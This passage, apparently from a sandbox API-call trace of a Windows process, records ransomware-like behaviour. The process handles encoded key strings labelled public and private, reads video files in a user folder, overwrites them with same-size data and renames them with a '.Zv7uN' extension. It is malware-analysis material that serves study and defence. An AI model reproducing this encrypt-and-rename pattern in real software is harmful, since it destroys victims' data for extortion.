lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.140] GetCurrentThreadId () returned 0xa30 [0087.140] GetCurrentThreadId () returned 0xa30 [0087.140] GetCurrentThreadId () returned 0xa30 [0087.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\c9ud.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.140] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.140] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.141] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb818 [0087.141] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.141] ReadFile (in: hFile=0x104, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xb818, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0xb818, lpOverlapped=0x0) returned 1 [0087.143] CloseHandle (hObject=0x104) returned 1 [0087.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\c9ud.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.145] WriteFile (in: hFile=0x104, lpBuffer=0x1f14ed0*, nNumberOfBytesToWrite=0xb818, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f14ed0*, lpNumberOfBytesWritten=0x18f3e0*=0xb818, lpOverlapped=0x0) returned 1 [0087.149] CloseHandle (hObject=0x104) returned 1 [0087.158] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\c9ud.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\c9ud.avi.zv7un")) returned 1 [0087.159] GetCurrentThreadId () returned 0xa30 [0087.159] GetCurrentThreadId () returned 0xa30 [0087.159] GetCurrentThreadId () returned 0xa30 [0087.159] GetCurrentThreadId () returned 0xa30 [0087.159] GetCurrentThreadId () returned 0xa30 [0087.159] GetCurrentThreadId () returned 0xa30 [0087.160] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a12020, ftCreationTime.dwHighDateTime=0x1d5d8b7, ftLastAccessTime.dwLowDateTime=0x212d1a30, ftLastAccessTime.dwHighDateTime=0x1d5e168, ftLastWriteTime.dwLowDateTime=0x212d1a30, ftLastWriteTime.dwHighDateTime=0x1d5e168, nFileSizeHigh=0x0, nFileSizeLow=0x8c0a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cSsK3Xa3I8N9gp_g.mkv", cAlternateFileName="CSSK3X~1.MKV")) returned 1 [0087.160] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.160] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\cssk3xa3i8n9gp_g.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a12020, ftCreationTime.dwHighDateTime=0x1d5d8b7, ftLastAccessTime.dwLowDateTime=0x212d1a30, ftLastAccessTime.dwHighDateTime=0x1d5e168, ftLastWriteTime.dwLowDateTime=0x212d1a30, ftLastWriteTime.dwHighDateTime=0x1d5e168, nFileSizeHigh=0x0, nFileSizeLow=0x8c0a)) returned 1 [0087.160] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\cssk3xa3i8n9gp_g.mkv")) returned 0x20 [0087.160] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv", dwFileAttributes=0x80) returned 1 [0087.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.165] GetCurrentThreadId () returned 0xa30 [0087.165] GetCurrentThreadId () returned 0xa30 [0087.165] GetCurrentThreadId () returned 0xa30 [0087.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.166] GetCurrentThreadId () returned 0xa30 [0087.166] GetCurrentThreadId () returned 0xa30 [0087.166] GetCurrentThreadId () returned 0xa30 [0087.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\cssk3xa3i8n9gp_g.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.166] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.166] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.166] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x8c0a [0087.167] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.167] ReadFile (in: hFile=0x104, 